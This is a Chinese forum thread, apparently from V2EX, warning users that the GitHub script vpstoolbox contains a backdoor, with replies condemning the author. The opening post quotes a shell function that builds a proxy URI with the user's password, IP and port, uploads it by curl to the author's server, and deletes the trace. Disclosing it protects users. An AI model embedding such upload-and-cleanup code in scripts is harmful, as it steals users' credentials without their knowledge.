Github 间谍项目 vpstoolbox，避雷，有用的小伙伴记得改密码

[proxytoworld]

仓库:https://github.com/johnrosen1/vpstoolbox/blob/master/vps.sh

会把机场的 IP ，端口，密码上传到作者可控的服务器，后续想干嘛就不知道了

https://github.com/johnrosen1/vpstoolbox/blob/ec7e0dc19561563f5d278a3e436f1cf67b9ae7b5/vps.sh#L494

clean_env(){
prasejson
cd /root
echo "trojan://${password1}@${myip}:${trojanport}?security=tls&headerType=none&type=tcp&sni=${domain}#Trojan($(nproc --all)C$(grep MemTotal /proc/meminfo | awk '{print $2}' | xargs -I {} echo "scale=1; {}/1024^2" | bc)G ${route_final}${mycountry} ${myip_org} ${myip} ${myipv6} ${target_speed_up} Mbps)" &> ${myip}.txt
curl --retry 5 https://johnrosen1.com/fsahdfksh/ --upload-file ${myip}.txt &> /dev/null
rm ${myip}.txt
cd
rm -rf /root/*.sh
rm -rf /usr/share/nginx/*.sh
clear
}

[AkaGhost]

ghost 是个特殊用户，代表那个用户已经注销了

[xiri]

@Greenm ghost 是 github 的删号占位账户，，，

[joesonw]

域名用了 privacy guardian ，一起去举报 abuse 披露注册信息，不知有没有用。

[crab]

@arfaWong 提出问题，解决提问人。

[jockielee]

《你用我脚本，我用你代理》🤣

[Jeanslike]

确实是个败类

[Cu635]

@vsitebon #16
难怪反应这么快，lz 发帖不到 5 个小时就连着帐号一起删了。

[BigShot404]

说到这个，现在用 OPENAI ，扫一遍代码然后标注一些疑似账号泄露或者后门地址应该不难吧？

[20160409]

233boy 的这个一键脚本有问题吗，有没人审查过？

https://github.com/233boy/v2ray/wiki

[0x535]

580 个 fork 都没发现这个问题 😂 fork 了个寂寞

[DeltaC]

致富门路+1

[HaneRo]

rm -rf /root/*.sh ？删除 root 下所有 sh 文件？这是不是不太好

[FightPig]

删的动作挺快

[oszlso]

作者 @johnrosen1 今日活跃度排名 9187 ，上线咋不吱声呀🤭

[boris1993Jr]

@0x535 #50 我感觉大部分人都是拿 fork 当收藏用的，因为小白喜欢这么玩，而用一键脚本的又有不少小白

[FrankAdler]

https://github.com/Doutianbao/vpstoolbox 相关的 fork 还能找到

[n18255447846]

事实证明就算有大量使用的人甚至官方的脚本 or 程序，还是有一定的风险。就看懂行的有没有人爆出来了

[ttyhtg]

能不能把他扒个底朝天，把他送进去？

[levelworm]

看了下文中的语气，感觉不太像是大陆人？但是的确又是简体字。

比如这个：操作系统不支援，请使用 Debian 或者 Ubuntu 运行。

像我这种 shell 小白真是大开眼界啊，能学不少东西，希望大家能抓到这个人。

[CodeCodeStudy]

@levelworm 应该是湾湾用简体字，然后搞肉鸡